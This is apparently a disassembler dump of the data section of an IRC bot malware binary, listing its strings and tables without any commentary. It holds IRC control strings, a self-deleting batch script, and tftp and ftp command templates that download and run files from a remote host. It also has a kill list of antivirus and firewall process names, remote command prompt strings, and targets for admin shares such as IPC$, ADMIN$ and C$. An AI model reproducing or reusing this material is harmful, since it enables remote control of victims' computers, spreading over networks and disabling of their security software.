aQ_0: ; DATA XREF: .data:004502E8o unicode 0, <q>,0 aRs db 'rs',0 ; DATA XREF: .data:004502ECo align 10h aT_0: ; DATA XREF: .data:004502F0o unicode 0, <t>,0 aU_0: ; DATA XREF: .data:004502F4o unicode 0, <u>,0 aV_0: ; DATA XREF: .data:004502F8o unicode 0, <v>,0 aW: ; DATA XREF: .data:004502FCo unicode 0, <w>,0 asc_450AB0: ; DATA XREF: .data:00450300o unicode 0, <x>,0 aY: ; DATA XREF: .data:00450304o unicode 0, <y>,0 aZ: ; DATA XREF: .data:00450308o unicode 0, <z>,0 aHappy db 'happy',0 ; DATA XREF: .data:0045030Co align 4 aRg db 'rg',0 ; DATA XREF: .data:00450310o align 4 aTy db 'ty',0 ; DATA XREF: .data:00450314o align 4 aGf db 'gf',0 ; DATA XREF: .data:00450318o align 10h aRt db 'rt',0 ; DATA XREF: .data:0045031Co align 4 aSdf db 'sdf',0 ; DATA XREF: .data:00450320o aUi db 'ui',0 ; DATA XREF: .data:00450324o align 4 aLuvy db 'luvy',0 ; DATA XREF: .data:00450328o align 4 aTrimy db 'trimy',0 ; DATA XREF: .data:0045032Co align 4 aTruck db 'truck',0 ; DATA XREF: .data:00450330o align 4 aMuckc db 'muckc',0 ; DATA XREF: .data:00450334o align 4 aZ_0: ; DATA XREF: .data:00450338o unicode 0, <z>,0 aG_0: ; DATA XREF: .data:0045033Co unicode 0, <g>,0 aS_40: ; DATA XREF: .data:00450340o unicode 0, <s>,0 aQ_1: ; DATA XREF: .data:00450344o unicode 0, <q>,0 aBrb db 'BRB',0 ; DATA XREF: .data:00450348o aBbl db '|bbl',0 ; DATA XREF: .data:0045034Co align 4 a___0 db '_|_',0 ; DATA XREF: .data:00450358o aF_0: ; DATA XREF: .data:0045036Co unicode 0, <F>,0 aM_3: ; DATA XREF: .data:00450370o unicode 0, <M>,0 aLuvu db 'LUVU',0 ; DATA XREF: .data:00450374o align 4 aSad db 'Sad',0 ; DATA XREF: .data:00450378o aF_1 db '^^^f^',0 ; DATA XREF: .data:0045037Co align 4 aB_0: ; DATA XREF: .data:00450380o unicode 0, <b>,0 aSleeping db 'Sleeping',0 ; DATA XREF: .data:00450388o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: .data:00450394o align 10h aFree_0 db 'Free',0 ; DATA XREF: .data:00450398o align 4 asc_450B58: ; DATA XREF: .data:004503A4o unicode 0, <X>,0 aBoy db 'BOY',0 ; DATA XREF: .data:004503ACo aGirl_0 db 'GIRL',0 ; DATA XREF: .data:004503B0o align 4 aGurl db 'gurl',0 ; DATA XREF: .data:004503B4o align 10h aShit db 'shit',0 ; DATA XREF: .data:004503B8o align 4 aAha db 'aha',0 ; DATA XREF: .data:004503BCo aYeah db 'yeah',0 ; DATA XREF: .data:004503C0o align 4 aMuha db 'muha',0 ; DATA XREF: .data:004503C4o align 4 aMof0 db 'mof0',0 ; DATA XREF: .data:004503C8o align 4 aMofo db 'mofo',0 ; DATA XREF: .data:004503CCo align 4 aTot_0 db 'tot',0 ; DATA XREF: .data:004503D0o aLol db 'lol',0 ; DATA XREF: .data:004503D4o aLoloA db 'lolo|a|',0 ; DATA XREF: .data:004503D8o aSex4free db '|sex4free|',0 ; DATA XREF: .data:004503DCo align 4 a4us db '|4us|',0 ; DATA XREF: .data:004503E0o align 10h a4you db '{4you}',0 ; DATA XREF: .data:004503E4o align 4 a4u db '|4u|',0 ; DATA XREF: .data:004503E8o align 10h a5u db '5u',0 ; DATA XREF: .data:004503ECo align 4 a6u db '6u',0 ; DATA XREF: .data:004503F0o align 4 ; char asc_450BD8[] asc_450BD8 db 0Ah,0 ; DATA XREF: sub_418331+6o align 4 ; char asc_450BDC[] asc_450BDC db ' ',0 ; DATA XREF: sub_418378+Co align 10h ; char asc_450BE0[] asc_450BE0 db ' ',0 ; DATA XREF: sub_418378:loc_41839Eo align 4 ; char aPing_1[] aPing_1 db 'PING',0 ; DATA XREF: sub_418378+52o align 4 aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_418378+63o align 4 ; char a433[] a433 db '433',0 ; DATA XREF: sub_418378:loc_4183E2o ; char a432[] a432 db '432',0 ; DATA XREF: sub_418378+7Bo ; char aNickS_9[] aNickS_9 db 'NICK %s',0Ah,0 ; DATA XREF: sub_418378+B3o align 4 ; char aNickSUserSHotm[] aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_418465+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 ; char a__3[] a__3 db '-|`_\{[]}',0 ; DATA XREF: sub_418688+BCo ; sub_418688+175r ... align 4 dword_450C48 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .text:00418B75o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_450C94 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: .text:00418BB4o dword_450CB0 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 ; DATA XREF: .text:00418BE9o dword_450CC4 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: .text:00418C10o ; char aSErrorSD_[] aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418E9D+72o align 4 aMirc_2 db 'mIRC',0 ; DATA XREF: sub_418F62+5o align 4 aMirc_3 db 'mIRC',0 ; DATA XREF: sub_418F62+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418FE7+1Co align 4 aSS_11 db '%s %s',0 ; DATA XREF: .text:004190D0o align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_41910C+2o ; char aSdel_bat[] aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41912E+48o align 4 ; char a[] a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41912E+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 ; char aComspecCSS[] aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41912E+140o align 10h ; char asc_450D90[] asc_450D90 db '-' ; DATA XREF: sub_4192B6+5Co db 3, 34h, 2 dd 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h, 65726165h dd 64h unk_450DAC db 2Dh ; - ; DATA XREF: sub_4192B6+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 ; char asc_450DD4[] asc_450DD4 db '-' ; DATA XREF: sub_4192B6+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .text:00419416o aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: .text:0041943Fo db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0 aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_4194A9+58o align 4 aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_4194A9+65o align 10h off_450EA0 dd offset dword_450EF4 ; DATA XREF: sub_4195C6+60r ; sub_41999D+51r ... off_450EA4 dd offset aAdded ; DATA XREF: sub_4195C6+2Dr ; sub_41999D+83r ... ; "Added" dword_450EA8 dd 0 ; DATA XREF: sub_4195C6+18r dd offset aDelete_1 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1 dd offset aPause_0 ; "Pause" dd offset aPaused_0 ; "Paused" dd 2 dd offset aContinue_0 ; "Continue" dd offset aContinued ; "Continued" dd 3 dword_450EF4 dd 646441h ; DATA XREF: .data:off_450EA0o aAdded db 'Added',0 ; DATA XREF: .data:off_450EA4o align 10h aDelete_1 db 'Delete',0 ; DATA XREF: .data:00450EACo align 4 aDeleted db 'Deleted',0 ; DATA XREF: .data:00450EB0o aList_1 db 'List',0 ; DATA XREF: .data:00450EB8o align 4 aListed db 'Listed',0 ; DATA XREF: .data:00450EBCo align 10h aStart_0 db 'Start',0 ; DATA XREF: .data:00450EC4o align 4 aStarted db 'Started',0 ; DATA XREF: .data:00450EC8o aStop_0 db 'Stop',0 ; DATA XREF: .data:00450ED0o align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .data:00450ED4o aPause_0 db 'Pause',0 ; DATA XREF: .data:00450EDCo align 4 aPaused_0 db 'Paused',0 ; DATA XREF: .data:00450EE0o align 10h aContinue_0 db 'Continue',0 ; DATA XREF: .data:00450EE8o align 4 aContinued db 'Continued',0 ; DATA XREF: .data:00450EECo align 4 ; char asc_450F68[] asc_450F68 db '-' ; DATA XREF: sub_4195C6+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 unk_450F84 db 2Dh ; - ; DATA XREF: sub_4195C6+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h ; char asc_450FB0[] asc_450FB0 db '-' ; DATA XREF: sub_4195C6+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4196E2:loc_4197BBo align 4 aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4196E2:loc_41973Co aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4196E2+3Co align 4 aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4196E2:loc_419732o align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4196E2:loc_419746o aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4196E2:loc_419790o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4196E2+8Fo aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4196E2:loc_4197C2o db 'marked for deletion.',0 align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4196E2:loc_4197C9o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4196E2:loc_4197D0o align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4196E2:loc_4197D7o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4196E2:loc_4197DEo db ' correct access rights.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4196E2:loc_4197E5o align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4196E2:loc_41977Bo align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4196E2:loc_419782o db 'tServiceCtrlDispatcher.',0 align 4 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4196E2:loc_419750o db 'dependent on it.',0 align 10h aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4196E2:loc_419728o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4196E2:loc_419789o db ' the service.',0 align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4196E2:loc_4197ECo db 'the state of the service.',0 align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4196E2:loc_4197F3o align 4 ; char aTheSystemIsShu[] aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4196E2:loc_4197FAo align 4 ; char aAnUnknownError[] aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4196E2+12Co align 10h aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_419860+25o align 10h ; char aStopped[] aStopped db ' Stopped',0 ; DATA XREF: sub_419860:loc_41992Co aStarting db ' Starting',0 ; DATA XREF: sub_419860:loc_419925o aStoping db ' Stoping',0 ; DATA XREF: sub_419860:loc_41991Eo aRunning db ' Running',0 ; DATA XREF: sub_419860:loc_419917o aContinuing db ' Continuing',0 ; DATA XREF: sub_419860:loc_419910o aPausing db ' Pausing',0 ; DATA XREF: sub_419860:loc_419909o aPaused db ' Paused',0 ; DATA XREF: sub_419860:loc_419902o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_419860+9Bo ; char aSSS_2[] aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_419860+EBo ; char asc_45150C[] asc_45150C db '-' ; DATA XREF: sub_41999D+8Ao db 3, 34h, 2 dd 274656Eh, 25202D03h, 68732073h, 3A657261h, 73252720h dd 27h ; char asc_451528[] asc_451528 db '-' ; DATA XREF: sub_41999D+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 ; char asc_451554[] asc_451554 db '-' ; DATA XREF: sub_41999D+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_419B93+26o align 10h aYes db 'Yes',0 ; DATA XREF: sub_419B93+B5o aNo db 'No',0 ; DATA XREF: sub_419B93+BCo align 4 ; char a14s24s6u4s[] a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419B93+D0o align 10h ; char asc_4515D0[] asc_4515D0 db '-' ; DATA XREF: sub_419B93+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 ; char asc_4515F8[] asc_4515F8 db '-' ; DATA XREF: sub_419CB4+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 ; char asc_451618[] asc_451618 db '-' ; DATA XREF: sub_419CB4+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 ; char asc_451648[] asc_451648 db '-' ; DATA XREF: sub_419CB4+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h ; char aAccountS[] aAccountS db 'Account: %S',0 ; DATA XREF: sub_419DFB+50o ; char aFullNameS[] aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419DFB+84o align 4 ; char aUserCommentS[] aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419DFB+AFo align 10h ; char aCommentS[] aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419DFB+DAo aGuest db 'Guest',0 ; DATA XREF: sub_419DFB:loc_419F1Ao align 4 aUser_3 db 'User',0 ; DATA XREF: sub_419DFB:loc_419F13o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_419DFB:loc_419F0Co align 4 aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_419DFB+10Ao ; char aPrivilegeLevel[] aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419DFB+12Bo ; char aAuthFlagsD[] aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419DFB+156o align 4 ; char aHomeDirectoryS[] aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419DFB+181o align 4 ; char aParametersS[] aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419DFB+1ACo align 4 ; char aPasswordAgeD[] aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419DFB+1D7o align 10h ; char aBadPasswordCou[] aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419DFB+202o align 4 ; char aNumberOfLogins[] aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419DFB+22Do align 10h ; char aLastLogonD[] aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419DFB+258o align 10h ; char aLastLogoffD[] aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419DFB+283o ; char aLogonServerS[] aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419DFB+2AEo align 4 ; char aWorkstationsS[] aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419DFB+2D9o align 4 ; char aCountryCodeD[] aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419DFB+304o align 4 ; char aUserSLanguageD[] aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419DFB+32Fo ; char aMax_StorageD[] aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419DFB+35Ao align 4 ; char aUnitsPerWeekD[] aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419DFB+385o align 4 ; char asc_4517F8[] asc_4517F8 db '-' ; DATA XREF: sub_419DFB+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41A1E4+29o ; char asc_451840[] asc_451840 db '-' ; DATA XREF: sub_41A1E4+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 ; char aS_30[] aS_30 db ' %S',0 ; DATA XREF: sub_41A1E4+BEo align 4 ; char asc_451874[] asc_451874 db '-' ; DATA XREF: sub_41A1E4+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 ; char aTotalUsersFoun[] aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41A1E4+14Fo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41A364:loc_41A3C7o align 10h aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41A364:loc_41A408o aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41A364:loc_41A3D1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41A364+3Bo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41A364:loc_41A3BDo align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41A364:loc_41A3B3o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41A364:loc_41A3A9o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41A364:loc_41A473o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41A364+89o align 4 aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41A364:loc_41A3F7o align 4 aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41A364:loc_41A401o aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41A364:loc_41A46Co align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41A364+CFo db ' the domain.',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41A364:loc_41A441o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41A364:loc_41A43Ao align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41A364:loc_41A448o db 'ord policy requirement.)',0 align 4 ; char aNetworkConnect[] aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41A364:loc_41A481o align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41A364:loc_41A40Fo aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41A364:loc_41A47Ao align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41A364:loc_41A465o align 10h ; char asc_451B70[] asc_451B70 db '-' ; DATA XREF: sub_41A498+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 ; char asc_451B98[] asc_451B98 db '-' ; DATA XREF: sub_41A498+ABo db 3, 34h, 2 dd 274656Eh, 25202D03h, 34032073h, 76726553h, 3A037265h dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h dword_451BC4 dd 7530h ; DATA XREF: sub_41A919+12r off_451BC8 dd offset aRegedit_exe ; DATA XREF: sub_41A5C1+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aMsblast_exe_0 ; "MSBLAST.exe" dd offset aTeekids_exe ; "teekids.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" aRegedit_exe db 'regedit.exe',0 ; DATA XREF: sub_41A5C1+ECo ; .data:off_451BC8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .data:00451BCCo align 4 aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:00451BD0o aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .data:00451BD4o aZapro_exe db 'zapro.exe',0 ; DATA XREF: .data:00451BD8o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .data:00451BDCo align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .data:00451BE0o align 4 aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .data:00451BE4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00451BE8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00451BECo align 10h aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:00451BF0o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:00451BF4o aMsblast_exe_0 db 'MSBLAST.exe',0 ; DATA XREF: .data:00451BF8o aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .data:00451BFCo aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:00451C00o aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:00451C04o aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:00451C08o align 4 aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:00451C0Co align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:00451C10o align 10h aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:00451C14o align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .data:00451C18o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:00451C1Co align 4 aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:00451C20o align 4 aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .data:00451C24o align 4 aSedebugprivi_1 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A5C1+5Ao align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41A5C1+17Do align 4 aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_41A5C1+18Bo align 10h ; char aSD_2[] aSD_2 db ' %s (%d)',0 ; DATA XREF: sub_41A5C1+19Fo align 4 aSedebugprivi_2 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A5C1+207o align 10h ; char asc_451DC0[] asc_451DC0 db '-' ; DATA XREF: sub_41A804+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 unk_451DE0 db 2Dh ; - ; DATA XREF: sub_41A804+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 ; char asc_451E04[] asc_451E04 db '-' ; DATA XREF: sub_41A804:loc_41A88Bo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 ; char aPrivmsgSS_4[] aPrivmsgSS_4 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A9A1+33o ; char aS_31[] aS_31 db '%s',0 ; DATA XREF: sub_41A9A1+4Co align 4 unk_451E3C db 2Dh ; - ; DATA XREF: sub_41AA28:loc_41AB0Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_451E6C db 2Dh ; - ; DATA XREF: sub_41AA28+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_451E94 db 2Dh ; - ; DATA XREF: sub_41AA28:loc_41AB5Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0 aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_41AB7D+20o ; char asc_451ECC[] asc_451ECC db '-' ; DATA XREF: sub_41AB7D+150o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h ; char asc_451EF0[] asc_451EF0 db '-' ; DATA XREF: sub_41AB7D+198o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 8 off_451F28 dd offset aIpc ; DATA XREF: sub_41AD95+1B3o ; sub_41B0B9+179o ; "IPC$" align 10h dd offset aAdmin_1 ; "ADMIN$" align 8 off_451F38 dd offset aC_6 ; DATA XREF: sub_41B0B9+1E1o ; "C$" dd offset aC_7 ; "C:\\" dd offset aD_3 ; "D$" dd offset aD_4 ; "D:\\" aIpc db 'IPC$',0 ; DATA XREF: sub_41AD95+217o ; .data:off_451F28o align 10h aAdmin_1 db 'ADMIN$',0 ; DATA XREF: .data:00451F30o align 4 aC_6 db 'C$',0 ; DATA XREF: .data:off_451F38o align 4 aC_7 db 'C:\',0 ; DATA XREF: .data:00451F3Co aD_3 db 'D$',0 ; DATA XREF: .data:00451F40o align 4 aD_4 db 'D:\',0 ; DATA XREF: .data:00451F44o word_451F68 dw 4Eh ; DATA XREF: sub_41AD95+38r align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41AD95+54o align 4 dword_451F78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD95+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 ; char asc_451F9C[] asc_451F9C db '-' ; DATA XREF: sub_41AD95:loc_41AE02o db 3, 34h, 2 dd 75636573h, 3026572h, 4344202Dh, 64204D4Fh, 62617369h dd 2E64656Ch, 0 ; char asc_451FBC[] asc_451FBC db '-' ; DATA XREF: sub_41AD95+91o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToOpenDc db '- Failed to open DCOM registry key.',0 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41AD95+EDo align 10h dword_452000 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD95+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 ; char asc_45203C[] asc_45203C db '-' ; DATA XREF: sub_41AD95:loc_41AEA2o db 3, 34h, 2 dd 75636573h, 3026572h aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_452070 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD95:loc_41AEC0o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 ; char asc_4520AC[] asc_4520AC db '-' ; DATA XREF: sub_41AD95:loc_41AEC7o db 3, 34h, 2 dd 75636573h, 3026572h aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_4520DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD95+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h ; char asc_452100[] asc_452100 db '-' ; DATA XREF: sub_41AD95:loc_41AFF7o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_45212C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD95+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h ; char asc_452150[] asc_452150 db '-' ; DATA XREF: sub_41AD95:loc_41AF64o db 3, 34h, 2 dd 75636573h, 3026572h 